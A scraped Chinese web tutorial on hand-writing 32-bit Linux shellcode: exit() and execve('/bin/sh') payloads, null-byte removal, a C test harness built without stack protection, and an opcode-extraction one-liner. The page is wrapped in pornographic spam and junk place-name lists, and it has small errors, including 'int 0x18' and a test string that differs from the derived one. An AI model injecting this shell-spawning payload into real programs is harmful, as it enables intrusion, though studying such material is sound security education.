91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

shellcode如何編寫Linux

發布時間:2021-12-18 10:16:20 來源:億速云 閱讀:154 作者:小新 欄目:網絡安全

這篇文章給大家分享的是有關shellcode如何編寫Linux的內容。小編覺得挺實用的,因此分享給大家做個參考,一起跟隨小編過來看看吧。

系統調用

shellcode是一組可注入的指令,可以在被攻擊的程序中運行。由于shellcode要直接操作寄存器和函數,所以必須是十六進制的形式。那么為什么要寫shellcode呢?因為我們要讓目標程序以不同于設計者預期的方式運行,而操作的程序的方法之一就是強制它產生系統調用(system,call,syscall)。通過系統調用,你可以直接訪問系統內核。在Linux里有兩個方法來執行系統調用,間接的方法是c函數包裝(libc),直接的方法是用匯編指令(通過把適當的參數加載到寄存器,然后調用int 0x80軟中斷)系統調用號是確定一個系統調用的關鍵數字,在執行int指令之前,它應當被傳入EAX寄存器中,確定了一個系統調用號之后就要考慮給該系統調用傳遞什么參數來完成什么樣的功能。存放參數的寄存器有5個,他們是EBX,ECX,EDX,ESI和EDI,這五個寄存器順序的存放傳入的系統調用參數。在Ubuntu18.04上可通過以下文件查看系統調用號:

/usr/include/x8664-linux-gnu/asm/unistd32.h

  1. #ifndef _ASM_X86_UNISTD_32_H

  2. #define _ASM_X86_UNISTD_32_H 1


  3. #define __NR_restart_syscall 0

  4. #define __NR_exit 1

  5. #define __NR_fork 2

  6. #define __NR_read 3

  7. #define __NR_write 4

  8. #define __NR_open 5

  9. #define __NR_close 6

  10. #define __NR_waitpid 7

  11. #define __NR_creat 8

  12. #define __NR_link 9

  13. #define __NR_unlink 10

  14. #define __NR_execve 11

ASCII碼

shellcode如何編寫Linux

為exit()系統調用寫shellcode

exit系統調用流程

手寫查看exit的系統調用流程。編寫exit.c代碼:

  1. #include<stdio.h>

  2. #include <unistd.h>

  3. #include<stdlib.h>

  4. int main(){

  5.    exit(0);

  6. }

編譯時使用static選項,防止使用動態鏈接,在程序里保留exit系統調用代碼

gcc -static -o exit exit.c -32

shellcode如何編寫Linuxexit <+0> 把系統調用的參數加載到ebx_exit <+4>和exit <+16>行是把對應的系統調用編號分別被復制到eax。最后的int 0x80指令把cpu切換到內核模式,并執行我們的系統調用。

shellcode編寫

要注意的是我們的shellcode應該盡量地簡潔緊湊,這樣才能注入更小的緩沖區(當你遇到n字節長的緩沖區時,你不僅要把整個shellcode復制到緩沖區,還要加上調用shellcode的指令,所以shellcode必須比n小)。在實際環境中,shellcode將在沒有其他指令為它設置參數的情況下執行,所以我們必須自己設置參數。這里我們先通過將0放入ebx中的方法來設置參數。參考exit系統調用流程(1)將0放入ebx中(2)將0x1放入eax中(3)調用int 0x18編寫exit_shellcode.asm

  1. Section .text

  2.        global _start

  3. _start:

  4.        mov ebx, 0

  5.        mov ax, 1

  6.        int 0x80

然后用nasm編譯,生成目標文件,再用gun ld來連接:

  1. nasm -f elf32 -o hello.o exit_shellcode.asm

  2. ld -m elf_i386   -o hello hello.o

查看相應的opcode:shellcode如何編寫Linux

注意:看起來好像是成功了。但是很遺憾,這個shellcode在實際攻擊中可能會無法使用。可以看到,這串shellcode中還有一些NULL(\x00)字符,當我們把shellcode復制到緩沖區時,有時候會出現異常(因為字符數組用null做終止符)。要編寫真正有用的shellcode我們還要想辦法把\x00消去。

對上面的代碼進行優化,來去除(\x00),如下所是:

  1. Section .text

  2.        global _start

  3. _start:

  4.        xor ebx, ebx

  5.        mov al, 1

  6.        int 0x80

使用nasm編譯和gun ld進行連接,通過objdump進行查看,如下所是:shellcode如何編寫Linux嗯,已經沒有\x00了。接下來就可以編寫個c程序來測試這個shellcode了。這塊設計到c語言的指針函數和函數指針。后續更新指針函數相關內容。

  1. char shellcode[] = "\x31\xdb"

  2.                   "\xb0\x01"

  3.                   "\xcd\x80";

  4. int main(void)

  5. {


  6.    int *ret;

  7.    ret = (int *)&ret + 2;

  8.    (*ret) = (int)shellcode;

  9. }

編譯后用strace來查看系統調用:shellcode如何編寫Linux

為execve()編寫shellcode

通過execve返回shell

  1. #include<unistd.h>

  2. #include<stdlib.h>

  3. char *buf [] = {"/bin/sh",NULL};

  4. int main(void)

  5. {

  6.          execve("/bin/sh",buf,0);

  7.          exit(0);

  8. }

編譯程序,運行可獲得系統shell:shellcode如何編寫Linux開始編寫shellcode:

  1. global _start

  2. _start:

  3. mov eax,0 ;eax0

  4. mov edx,0 ;edx0

  5. push edx

  6. push "/sh"

  7. push "/bin"  ;將/bin/sh存入棧中

  8. mov ebx,esp  ;ebx指向/bin/sh字符串

  9. xor eax,eax

  10. mov al,0Bh   ;eax置為execve函數中斷號

  11. int 80h

保存為shellcode.asm,通過編譯鏈接,然后運行,獲得shell

獲得機器碼

$ objdump -d shellcode shellcode: file format elf32-i386Disassembly of section .text: 08048060 <_start>: 8048060: b8 0000 00 00 mov $0x0,%eax 8048065: ba 00 00 00 00
mov $0x0,%edx 804806a: 52 push %edx804806b: 68 2f 73 68 00 push $0x68732f 8048070: 68 2f62 69 6e push $0x6e69622f 8048075: 89 e3
mov %esp,%ebx 8048077: 31 c0 xor %eax,%eax8048079: b0 0b mov $0xb,%al 804807b: cd 80
int $0x80

發現機器碼中有許多/x00字節,shellcode中存在/x00字節在進行利用的時候會被截斷,所以我們要避免出現/x00字節,重新修改我們的匯編程序

  1. global _start

  2. _start:

  3. xor ecx,ecx

  4. xor edx,edx

  5. push edx

  6. push "//sh"

  7. push "/bin"

  8. mov ebx,esp

  9. xor eax,eax

  10. mov al,0Bh

  11. int 80h

編譯鏈接運行,得到機器碼
$ objdump -d ./shellcode./shellcode: file format elf32-i386Disassembly of section .text:08048060 <_start>:8048060: 31 c9 xor %ecx,%ecx8048062: 31 d2 xor %edx,%edx8048064: 52 push %edx8048065: 68 2f 2f 73 68 push $0x68732f2f804806a: 68 2f 62 69 6e push $0x6e69622f804806f: 89 e3 mov %esp,%ebx8048071: 31 c0 xor %eax,%eax8048073: b0 0b mov $0xb,%al8048075: cd 80 int $0x80

沒有出現/x00字節,得到最終的 shellcode = "\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80"

測試代碼:

  1. void main(){

  2.    char shellcode[] = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";

  3.    void (*fp)(void);

  4.    fp = (void*)shellcode;

  5.    fp();

  6. }

編譯:

gcc -fno-stack-protector -z execstack shellcode.c -o shellcode -m32

shellcode如何編寫Linux這里分享一個方便提取shellcode的指令,其中./execve-stack是可執行程序

objdump -d ./execve-stack|grep '[0-9a-f]:'|grep -v 'file'|cut -f2-d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

感謝各位的閱讀!關于“shellcode如何編寫Linux”這篇文章就分享到這里了,希望以上內容可以對大家有一定的幫助,讓大家可以學到更多知識,如果覺得文章不錯,可以把它分享出去讓更多的人看到吧!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

牟定县| 彭水| 太仆寺旗| 合江县| 西贡区| 墨玉县| 通渭县| 滨州市| 长汀县| 房产| 泸定县| 新泰市| 文安县| 邛崃市| 家居| 铁力市| 兴安盟| 竹山县| 安多县| 昌黎县| 湖州市| 宁乡县| 凤山县| 禄丰县| 道真| 巴马| 宜川县| 鹤庆县| 金溪县| 个旧市| 琼海市| 清流县| 永吉县| 潞西市| 新巴尔虎右旗| 进贤县| 集安市| 关岭| 垣曲县| 资阳市| 虹口区|